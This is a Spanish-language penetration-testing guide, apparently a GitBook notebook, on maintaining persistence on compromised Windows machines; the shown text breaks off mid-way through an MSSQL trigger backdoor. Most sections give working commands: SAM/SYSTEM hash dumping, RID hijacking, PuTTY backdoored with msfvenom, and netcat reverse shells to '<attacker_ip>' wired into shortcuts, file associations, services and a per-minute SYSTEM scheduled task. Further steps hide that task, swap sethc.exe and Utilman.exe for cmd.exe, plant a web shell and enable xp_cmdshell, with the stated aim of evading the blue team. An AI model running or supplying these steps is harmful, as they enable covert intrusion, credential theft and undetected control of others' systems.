# Persistencia en entornos Windows

## Persistencia Local

### Manipulación de cuentas sin privilegios

Para evitar que el blue team nos detecte al usar la cuenta Administrator debido que, esta está siendo monitoreanda, podemos manipular una cuenta con pocos privilegios.

{% tabs %}
{% tab title="Asignar grupos al usuario" %}
En caso de tener una cuenta con privilegios de administrador, podemos usarla para darle más privilegios al usuario que deseamos agregándolo al grupo `Administrators`:

```batch
net localgroup administrators <username> /add
```

Con esto, podremos acceder a la máquina usando RDP, WinRM, u otro servicio de administración remota disponible.

En caso de evitar ser detectados por usar el grupo `Administrators`, podemos usar el grupo `Backup Operators`. Los usuarios este grupo no tienen permisos de administrador, pero podrán leer/escribir cualquier archivo o registro del sistema, ignorando cualquier DACL configurado (podríamos leer los archivos `SAM` y `SYSTEM`):

```batch
net localgroup "Backup Operators" <username> /add
```

También, podemos agregar el usuario al grupo `Remote Management Users` para poder acceder usando servicios remotos, como RDP, WinTM u otro:

```batch
net localgroup "Remote Management Users" <username> /add
```

Si queremos acceder usando WinRM, podemos usar la herramienta `evil-winrm`:

```bash
evil-winrm -i <target_ip> -u <username> -p <password>
```

Si validamos que estamos en el grupo `Backup Operators` usando el comando `whoami /groups`, y este tiene el atributo `Group used for deny only`, significa que está deshabilitado, por lo tanto, no podremos ver todos los archivos.

Esto se debe a una de las características implementadas por el UAC (`LocalAccountTokenFilterPolicy`), la cual, elimina de cualquier cuenta local sus privilegios de administrador al iniciar sesión de forma remota. Si bien puede elevar sus privilegios a través de UAC desde una conexión con GUI, si usa WinRM, está confinado a un token de acceso limitado sin privilegios de administrador.

Para poder recuperar los privilegios de administración de su usuario, tendremos que deshabilitar `LocalAccountTokenFilterPolicy` cambiando la siguiente clave de registro a `1`:

```batch
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
```

Ahora, podemos hacer una copia de los archivos SAM y SYSTEM:

```batch
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
```

Con el script de `secretsdump.py` podemos dumpear los hashes:

```bash
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
```
{% endtab %}

{% tab title="Privilegios especiales y descriptores de seguridad" %}
Se puede logar algo similar con el grupo `Backup Operators`, pero sin la necesidad de agrgar al usuario al grupo. Esto se logra mediante los grupos especiales, a los cuales, el OS les asigna privilegios específicos de forma predeterminada.

El grupo `Backup Operators` tiene asignado los siguientes privilegios:

* **SeBackupPrivilege:** el usuario puede leer cualquier archivo del sistema, ignorando cualquier DACL
* **SeRestorePrivilege:** el usuario puede escribir cualquier archivo del sistema, ignorando cualquer DACL

Podemos asignar privilegios a cualquier usuario usando el comando `secedit`:

* Lo primer es exportar la configuración a un archivo temporal:

```batch
secedit /export /cfg config.inf
```

* Agregamos los privilegios al archivo exportado:

![Modificación de privilegios de usuario](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FgdODuT6T0VveFV8vYA1e%2F01.png?alt=media\&token=92e76c41-9a91-4eb3-bcae-47a7139f3b9f)

Convertimos el archivo `.inf` en uno `.sdb` que se cargará la configuración del sistema:

```batch
secedit /import /cfg /config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
```

Ahora el usuario tiene los privilegios necesarios para leer y escribir cualquier archivo del sistema, pero no tiene los permisos para acceder de forma remota.

Modificaremos el `Security Descriptor` de WinRM:

```powershell
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
```

![Permisos de acceso](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FOGRgljNRlyABvngSyFhu%2F02.png?alt=media\&token=ddb92186-e706-439c-b5ff-d9376d9a3b89)

> Para esto, necesitamos un acceso GUI.

Aquí, debemos agregar el usuario que necesitemos:

![Modificación de permisos de acceso](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FP4nBlt6h0Aluys67DUwb%2F03.png?alt=media\&token=7e5e9e63-b0a9-47c0-8162-9f7340a2d14d)



Por último, para obtener los privilegios necesarios, debemos modificar el valor del registro `LocalAccountTokenFilterPolicy`.

Si revisamos los grupos del usuario, no se verá nada sospechoso:

```batch
net user <username>
```

![Permisos ofuscados](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXy4U6DblMhiqvuOG0qSH%2F04.png?alt=media\&token=4dcf35b8-c541-496e-992f-e911143804b5)
{% endtab %}

{% tab title="RID Hijacking" %}
Otra forma de obtener permisos de administrador, sin tener que serlo, es cambiando el valor del registro para que el OS piense que somos administradores.

Cuando se crea un usuario, se le asigna un Relative ID (RID), el cual, es un identificador numérico que representa al usuario en el sistema.

Cuando este inicia sesión, el proceso LSASS obtiene el RID de la sección de registro SAM, y crea un token de acceso asociado al RID. Por lo tanto, si podemos cambiar el valor del registro, podemos hacer que Windows nos asigne un token de acceso de administrador al usuario sin privilegios.

Los RID se asignan de la siguiente forma:

* Administrador: RID = 500
* Usuario regular: RID >= 1000

Para obtener lo RID, podemos usar el siguiente comando, donde, este valor es el último del SID:

```batch
wmic useraccount get name,sid
```

![RID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FP4Kzd538hvWMFH3TIDmd%2F05.png?alt=media\&token=0d03e490-be4c-4a1b-955d-962dd0c01dc5)



Ahora, necesitamos asignar el RID 500 a nuestro usuario. Para esto, necesitamos acceder a la SAM usando `regedit`. Solo la cuenta `SYSTEM` puede modificar la SAM, por lo tanto, usaremos la herramienta `PsExec` para obtener estos privilegios desde la cuenta `Administrator`:

```batch
PsExec64.exe -i -s regedit
```

![Regedit como SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXoYCvJaIRdnIxTbqVABk%2F06.png?alt=media\&token=5271e8b9-bec8-4ba4-a739-1e873b642116)

Debemos modificar el registro `HKLM\SAM\SAM\Domains\Account\Users\`, donde, encontraremos llaves para cada usuario (RID) en la máquina (estos se encuentran en hexadecimal). Tenemos que cambiar el valor `F` del usuario `3F2` que es el RID 1010 por `1F4` que es el RID 500:

![Identificación del RID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FMPv1mXFhxqXc8QOeNjao%2F07.png?alt=media\&token=80a53983-9100-4575-b837-ebd83e8d8043)

![Modificación del RID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fiwrznr4ICCjsCDQmReZP%2F08.png?alt=media\&token=2e6b33eb-bb71-441c-b87a-3f166d757603)

Ahora, si iniciamos sesión con el usuario modificado, LSASS asociará los privilegios del RID del usuario Administrator.
{% endtab %}
{% endtabs %}

### Archivos Backdoor

Otra forma para establecer persistencia, es modificar los archivos con los que sabemos que el usuario interactúa regularmente. Al modificarlos, podemos plantar un backdoor que se ejecutará cada vez que el usuario interactúe con él.

Para evitar ser descubiertos, debemos modificar los archivos, pero estos no pueden dejar de funcionar.

{% tabs %}
{% tab title="Archivos ejecutables" %}
Si encontramos un ejecutable en el escritorio, es muy probable que el usuario lo use con frecuencia.

En este caso, modificaremos el binario de PuTTY, el cual, lo modificaremos usando `msfvenom` para que cuando se ejecute, cree un subproceso con una shell reversa, y funcione correctamente:

```bash
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -b "\x00" -f exe -o puttyX.exe
```
{% endtab %}

{% tab title="Archivos de acceso directo" %}
En caso de no querer modificar el ejecutable, podemos modificar el acceso directo. Aquí, podemos hacer que apunte a un script con el backdoor en vez del binario original, el cual, ejecutara el backdoor como el programa normalmente.

Si encontramos un acceso directo, podemos hacerle clic derecho e ir a las propiedades para ver la ruta del binario que ejecuta:

![Acceso directo](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FAQlloxvARROEzuZC3e2s%2F09.png?alt=media\&token=e8eadb01-68fd-4fad-89e3-a361347bf0a6)

Antes de realizar el hijacking del acceso directo, debemos crear un script en PowerShell en `C:\Windows\System32` o cualquier otro directorio no sospechoso. Este script ejecutará la shell reversa y luego el binario original:

```powershell
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <attacker_ip> <attacker_port>"
C:\Windows\System32\calc.exe
```

Por último, modificamos el acceso directo para que apunte a nuestro script:

> Esto podría hacer que el icono del acceso directo cambie. Para ejecutar esto en una ventana oculta, le agregamos la opción `-WindowStyle hidden`.

```batch
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
```

![Modificación de acceso directo](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F0FKMQaQTGW0C67eRt8PW%2F10.png?alt=media\&token=23431f8c-4d40-4dde-bb72-dca6cd2574ad)
{% endtab %}

{% tab title="Hijacking de asociaciones de archivos" %}
Podemos realizar hijacking a cualquier asociación de archivos para obligar al OS a ejecutar una shell cada vez que el ausuario abre un tipo de archivo específico.

Las asociaciones de archivos por defecto del OS se mantienen dentro del registro `HKLM\Software\Classes\`.

En caso de que queramos modificar alguno de estos (como por ejemplo, los archivos `.txt`), debemos verificar la subllave deseada y encontrar el `Programmic ID` (ProgID) asociado a este. El ProgID corresponde a un identificador de programa instalado en el sistema:

![ProgID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FpM8kXaZvBp7jlIcUitwR%2F11.png?alt=media\&token=d075c4d5-eb0f-44a6-926c-3012cf3ab39e)

Al buscar el ProgID, vemos que tiene la subllave `shell\open\command`, donde, se especifica que comando se ejcutará para los archivos con la extensión indicada:

![Binario usado por el ProgID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fvihl4SKfyxtQiQr6Gt4J%2F12.png?alt=media\&token=eabda0c3-da4d-4ad1-bafb-330d2ae50243)

Para este caso, crearemos un script en PowerShell, con la finalidad de que ejecute una shell reversa cada vez que se quiera abrir un archivo con la extensión deseada, y luego ejecuta el programa original:

```powershell
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <attacker_ip> <attacker_port>"
C:\Windows\system32\NOTEPAD.EXE $args[0]
```

Modificaremos el valor del registro por el siguiente:

```
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1
```

![Modificación de binario usado por el ProgID](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FifvqDGwqpaeL0nHICdL8%2F13.png?alt=media\&token=ebfc6a2b-31cf-4e12-bebc-e7c379558365)
{% endtab %}
{% endtabs %}

### Abusando de servicios

Los servicios de Windows son excelentes para configurar la persistencia, debido a que, podemos ejecutarlos en segundo plano cuando se inicia la máquina víctima.

{% tabs %}
{% tab title="Crear un servicio backdoor" %}
Podemos crear e iniciar un servicio (con el nombre que deseemos) usando el siguiente comando:

```batch
sc.exe create BackdoorService binPath= "net user Administrator Password321" start= auto
sc.exe start BackdoorService
```

En este caso, estamos reseteando la contraseña del usuario Administrator cuando se inicia el servicio, además, el servicio se inicia automáticamente.

Si queremos tener una shell reversa, debemos usar los siguientes comandos:

* Generación de binario malicioso:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe-service -o rev-svc.exe
```

Subimos el payload y creamos el servicio:

```batch
sc.exe create BackdoorService binPath= "C:\Windows\rev-svc.exe" start= auto
sc.exe start BackdoorService
```

![Creación de servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FnTnq4Sv9QnZf5MUIPo6f%2F14.png?alt=media\&token=3be6e1d8-d9be-4b58-9236-2a5f229e9686)
{% endtab %}

{% tab title="Modificando un servicio existente" %}
En caso de que el Blue Team se encuentre monitoreando la creación de nuevos servicios, debemos reutilizar un servicio que se encuentre deshabilitado, el cual, podríamos modificar sin ser detectados.

Podemos obtener una lista de los servicios usando el siguiente comando:

```batch
sc.exe query state=all
```

Podemos ver la configuración de un servicio con el siguiente comando:

```batch
sc.exe qc <service_name>
```

![Configuración de un servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FPhdwmbFpNy9tyMJkYrRc%2F15.png?alt=media\&token=63249ca8-4566-4ad4-9b04-d483cadeb7a2)

Tenemos tres cosas que debemos tener en cuenta cuando usamos servicios para la persistencia:

* El ejecutable (`BINARY_PATH_NAME`) debe apuntar a nuestro payload
* El servicio `START_TYPE` debe estar configurado en automatico para que el payload se ejecute sin la interacción del usuario
* El `SERVICE_START_NAME`, que es la cuenta bajo la cual se ejecutará el servicio, se recomienda que sea `LocalSystem` para que se ejecute como SYSTEM

Si queremos tener una shell reversa, debemos usar los siguientes comandos:

* Generación de binario malicioso:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe-service -o rev-svc.exe
```

Subimos el payload y modificamos el servicio:

```batch
sc.exe config <service_name> binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"
sc.exe qc <service_name>
sc.exe start <service_name>
```

![Modificación del binario del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FRgf6lENdu7nlt3Ph9pFi%2F16.png?alt=media\&token=9cf7e43f-2f8f-416d-9faa-1f70a1694522)
{% endtab %}
{% endtabs %}

### Abusando de tareas programadas

{% tabs %}
{% tab title="Tareas programadas" %}
La forma más común de programar tareas es utilizando el programador de tareas integrado de Windows. El programador de tareas permite un control granular de cuándo comenzará su tarea, lo que le permite configurar tareas que se activarán a horas específicas, se repetirán periódicamente o incluso se activarán cuando ocurran eventos específicos del sistema.

Se creará una tarea que ejecutará una shell reversa cada minuto:

```batch
schtasks /create /sc minute /mo 1 /tn <task_name> /tr "c:\tools\nc64 -e cmd.exe <attacker_ip> <attacker_port>" /ru SYSTEM
```

![Creación de tarea programada](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FD2XkDeYfM0nqLpa1sCH5%2F17.png?alt=media\&token=5dceb6be-45e4-4183-9703-57de73532f61)

Con este comando creamos una tarea y correrá una shell reversa usando netcat. Las opciones `/sc` y `/mo` indican que la tarea se ejecutará cada minuto, mientras que, la opción `/ru` indica que usará los privilegios de SYSTEM.

Para validar que esta se creó de forma correcta, usamos el siguiente comando:

```batch
schtasks /query /tn <task_name>
```

![Validación de la creación](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FhgevuRekD9fF1372kQCj%2F18.png?alt=media\&token=183e7ea6-f10d-4b1e-8d44-fdc5d2866bbb)
{% endtab %}

{% tab title="Haciendo la tarea invisible" %}
Para evitar que la tarea sea detectada, podemos ocultarla haciendola invisible eliminando su `Security Descriptor` (SD). Este es una ACL que indica qué usuarios tienen acceso a la tarea programada. Si su usuario no puede consultar una tarea programada, ya no podrá verla. Eliminar la SD equivale a prohibir el acceso de todos los usuarios a la tarea programada, incluidos los administradores.

El SD de todas las tareas programadas se encuentran en el registro `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\`. Aquí podemos encontrar el valor llamado `SD`, el cual, debe ser eliminado.

Para eliminar el SD debemos abrir Regedit como SYSTEM:

```batch
PsExec64.exe -s -i regedit
```

![Abrir Regedit con permisos de SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FOrYa7yBHzUrKedE6HCvK%2F19.png?alt=media\&token=5b119283-f8ab-49ab-a8be-d259e19f0f26)

![Valor SD](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Frm1imQD2PFDBm2T9k998%2F20.png?alt=media\&token=449e7f60-3e6d-47f9-b96d-cd99f0462279)

![Eliminación de valor SD](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Flv4tlhA9bKfMAAH4Ghdq%2F21.png?alt=media\&token=8ab7bacd-f2fd-4264-a971-2c8fd75413c5)

![Validar que queremos eliminar el valor del registro](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F1VvWlLXSBqMO7fxudPle%2F22.png?alt=media\&token=3d81fbbd-fd09-4e87-9c0f-5179ed3d8a56)

![Registro modificado](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FpnBj7owIrtTITeL7ckiY%2F23.png?alt=media\&token=6000ec23-093d-4d48-8eb3-413effac0301)

Ahora si queremos validar la tarea, nos dará un error:

![Validación de que no podemos ver la tarea](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FZTiqmtnjF2YtHgZeBkUf%2F24.png?alt=media\&token=c64b9eed-6fb4-4989-8f8f-556a59b4fbe6)
{% endtab %}
{% endtabs %}

### Persistencia activada por inicio de sesión

{% tabs %}
{% tab title="Carpeta de inicio" %}
Cada usuario tiene una carpeta en `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp` donde, podemos dejar los ejecutables para dejar los binarios a ejecutar cuando el usuario inicia sesión.

Si queremos forzar se ejecute para todos los usuarios, podemos dejar el binario en la carpeta `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`.

Podemos generar una shell reversa usando msfvenom:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe -o revshell.exe
```

Para subir el payload a la máquina víctima, podemos usar un servidor web:

* Servidor web:

```bash
python3 -m http.server
```

* Descarga desde powershell:

```powershell
wget http://<attacker_ip>:8000/revshell.exe -O "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe"
```
{% endtab %}

{% tab title="Second Tab" %}
Podemos hacer que un usuario ejecute un programa al iniciar sesión a través de registros:

* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Los registros bajo `HKCU` se aplican al usuario actual, mientras que, `HKLM` se aplica a todos. Un programa bajo `Run` se ejecutará cada vez que el usuario inicie sesión, y `RunOnce` hará que se ejecute solo una vez.

Subimos nuestra shell reversa, y lo configuramos en el registro `HKLM\Software\Microsoft\CurrentVersion\Run`:

![Modificación del registro Run](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FnFXGH5nFA2IS2cY1ySub%2F25.png?alt=media\&token=5390f9bd-755e-4f70-a978-5aeaf1b65515)
{% endtab %}

{% tab title="Winlogon" %}
Podemos abusar del Winlogon para que se ejecute un programa al iniciar sesión.

Winlogon usa algunos registros bajo `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` que pueden usarse para ganar la persistencia:

* `Userinit` apunta a `userinit.exe`, el cual, se encarga de restaurar las preferencias del perfil de usuario
* `Shell` apunta a la shell del sistema, donde, usualmente es `explorer.exe`

![Valores en registro Winlogon](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FFgjgNsRV63hipa0sUI0s%2F26.png?alt=media\&token=52eafc52-f6fc-4c01-84d4-83b5e8056dbd)

Podemos agregar nuestra shell reversa en `Shell` o en `Userinit`:

![Modificación de valores en registro Winlogon](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fkp8hAPGpsAssG9dKXebb%2F27.png?alt=media\&token=2b8686ed-1c2a-4d2c-935b-9a65546ce724)
{% endtab %}

{% tab title="Logon scripts" %}
Una de las cosas que hace `userinit.exe` es que mientras carga el perfil del usuario, verifica una variable de entorno llamada `UserInitMprLogonScript`. Podemos usar esta varibale de entorno para asignar un logon script para ejecutarlo en el logging. Esta variable no viene por defecto, por lo tanto, debemos crearla y asignarle un script.

> Esto es por usuario.

Creamos la variable `UserInitMprLogonScript` en el registro `HKCU\Environment`:

![Modificación del registro de variables de entorno](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F9kkrrGfTqsg9eljg2Mix%2F28.png?alt=media\&token=8d81f99f-8a08-441b-b910-e4bcc70f48c0)
{% endtab %}
{% endtabs %}

### Backdoor de pantalla de inicio de sesión/RDP

Si tenemos acceso físico a la máquina (o vía RDP), podemos hacer un backdoor en la pantalla de inicio de sesión para acceder a una terminal sin tener credenciales válidas para una máquina.

{% tabs %}
{% tab title="Sticky Keys" %}
Para validar si tenemos sticky keys, podemos presionar las teclas `CTRL`, `ALT` y `DEL` sin mantener las otras presionadas, si cumple el mismo efecto que el presionarlas juntas, significa que tenemos este comportamiento.

La persistencia con este método se realiza abusando del atajo habilitado por defecto de cuando se presiona 5 veces la tecla `SHIFT`. En este atajo, por lo general aparace la siguiente ventana:

![Sticky Keys](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FHNiB9lQUPNQhZvHjpauj%2F29.png?alt=media\&token=071f7537-54b1-48d5-b386-a52c92c9dd99)

Luego de esto, Windows ejecutará el binario `C:\Windows\System32\sethc.exe`. Si somos capas de cambiar dicho binario por nuestro payload, podríamos ejecutarlo con el atajo, incluso en la pantalla de inicio de sesión antes de ingresar las credenciales.

Una forma de hacer esto, es reemplazando el binario por `cmd.exe` para obtener una shell.

Para reemplazar el binario, primero debemos ser dueños del binario:

```batch
takeown /f C:\Windows\System32\sethc.exe
```

![Tomamos la propiedad del binario](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fi1ZHhV3ttk3RBkffjrq3%2F30.png?alt=media\&token=7dd18f97-1768-4046-a3a7-9262c0a28f94)

Le damos permisos a nuestro usaurio para modificarlo, y lo reemplazamos:

```batch
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```

![Modificamos el binario sethc](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FaEgjzi9Fr9cuQJirTO9f%2F31.png?alt=media\&token=3ae0bec4-9e0a-496a-b27c-2e5e3880013c)

> Recordar de hacer un respaldo de este antes de su modificación.

Luego de esto, validamos que en la pantalla de inicio, luego de apretar 5 veces la tecla `SHIFT`, se nos abre una terminal:

![Shell mediante sticky keys](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fj3Ih1AjmwBZI91n0U9rw%2F32.png?alt=media\&token=8748d27b-0858-4906-a364-79b472a3fecd)
{% endtab %}

{% tab title="Utilman" %}
Utilman es una aplicación de Windows usada para proveer un acceso fácil a opciones durante la pantalla de bloqueo:

![Utilman](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fcbw2AL4OnsdL7d6dMvVS%2F33.png?alt=media\&token=68e622b6-fd8b-456e-a6a9-32715f910521)



Esto ejecuta el binario `C:\Windows\System32\Utilman.exe` con privilegios de SYSTEM, por lo tanto, si somos capaces de cambiar el binario por `cmd.exe`, podríamos hacer bypass a la pantalla de inicio de sesión.

Lo primero es ser dueños del binario:

```batch
takeown /f C:\Windows\System32\Utilman.exe
```

![Tomamos la propiedad del binario](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FvF9Br9ZU6AT6kDZ89Iqt%2F34.png?alt=media\&token=d075c5a8-b4f3-4bbd-94c9-30947401f837)

Le damos permisos a nuestro usaurio para modificarlo, y lo reemplazamos:

```batch
icacls C:\Windows\System32\Utilman.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
```

![Modificamos el binario utilman](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F8DTXIV974IwOpkbWvKIA%2F35.png?alt=media\&token=76c35551-6fb3-42ab-89e7-4436ddc71721)

Ahora, si hacemos clic en Utilman, se nos abre una shell:

![Shell mediante utilman](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FOrdbxKSzgFi1XhxMCoJb%2F36.png?alt=media\&token=aa0fc89b-be9b-492c-8ba4-2df121b84a85)
{% endtab %}
{% endtabs %}

### Persistencia a través de servicios existentes

{% tabs %}
{% tab title="Usando una Web Shell" %}
La forma más fácil es cargar la web shell en el directorio de web del servidor. Esto nos dará acceso, pero con los privilegios del usuario configurado en el IIS (que por defecto, es `iis apppool\defaultapppool`). La gracia de este usuario, es que tiene el permiso `SeImpersonatePrivilege`.

Podemos usar la siguiente [web shell](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx) en ASP.NET, el cual, debe estar en el directorio `C:\inetpub\wwwroot`:

![Subir web shell al servidor](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FuGZ8FOWacxEw2HOkFIUl%2F37.png?alt=media\&token=be552457-2d02-40af-b063-73d4041335b9)

Ahora vamos a la URL `http://<target_ip>/cmdasp.aspx`:

![Resutlado comando whoami](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FmDeha6GyGHR3AUUPenz1%2F38.png?alt=media\&token=c891b770-0e43-4a59-a897-6849f8807c9e)

![Resultado comando whoami /priv](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FySbRMT5T8qC5uwiZLgVH%2F39.png?alt=media\&token=0e6bba45-d13d-4ffb-8918-d2768a45eaac)
{% endtab %}

{% tab title="Usando MSSQL como un backdoor" %}
Una de las formas de crear un backdoor en MSSQL Server, es abusando de los `triggers`.

Agregar un `trigger` en MSSQL nos permite vincular acciones que se realizarán cuando ocurran eventos específicos en la DB (los eventos pueden ser: usuarios iniciando sesión hasta que inserte datos, los actualice o los elimine desde una tabla).

Crearemos un `trigger` para cualquier `INSET`en la DB.

Lo primero es reconfigurar algunas cosas de la DB:

* Debemos habilitar el `xp_cmdshell`, por lo tanto, abrimos el servicio, y nos autenticamos con la opción `Windows Authentication`:

![Acceso al servicio MSSQL](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fx0AwOAkKiJnoRHRfaOZn%2F40.png?alt=media\&token=a7f11e31-15da-400b-9e4a-33c305445633)

* Creamos una nueva query:

![Creación de query](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FYKIdgHJsaMGv38ejvSoO%2F41.png?alt=media\&token=08966b94-6107-4fa0-b507-f8c13706aa5f)



```sql
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
```

